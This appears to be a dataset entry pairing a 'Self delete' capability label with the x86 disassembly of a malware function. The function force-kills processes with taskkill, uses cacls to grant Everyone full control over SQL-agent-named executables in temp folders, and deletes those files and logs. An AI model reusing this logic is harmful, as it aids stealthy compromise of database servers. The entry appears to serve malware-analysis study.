Function at 0x4329d1
Capabilities:
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432a63
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432aaa
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432af1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432b38
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432b7f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 1
push 1
push 1
push 5
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlagentc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTC.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTC.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x432fb7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTC.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43301d
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433030
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433053
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4330b9
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4330cc
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4330ef
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433155
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433168
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43318b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTN.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43326e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTN.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4332d4
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4332e7
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43330a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433370
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433383
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4333a6
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43340c
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43341f
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433442
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGENTA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SQLAGENTA.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433525
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.SQLAGENTA.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43358b
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43359e
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4335c1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433627
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43363a
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43365d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4336c3
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4336d6
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4336f9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQL1AppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersMSSQLSERVERAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:WindowsServiceProfilesNetworkServiceAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp1_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_system:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_cacls_C:UsersAdministratorAppDataLocalTemp2_sqlageatc.exe__e__t__g_everyone:f
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
push 1
push 1
push 1
push 1
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cmd.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433aad
push ebx
call fcn.00461dbe
add esp, 4
push 1
push 1
push 1
push 3
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_cacls.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.cacls.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433b25
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_sqlageatc.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.sqlageatc.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433c08
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.sqlageatc.exe
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433c6e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433c81
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433ca4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433d0a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433d1d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433d40
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.CPU_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433da6
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433db9
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433ddc
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATN.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, 0x4ec8a2
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433ebf
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4ec8a2
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433f25
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433f38
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433f5b
push ebx
call fcn.00461dbe
add esp, 4
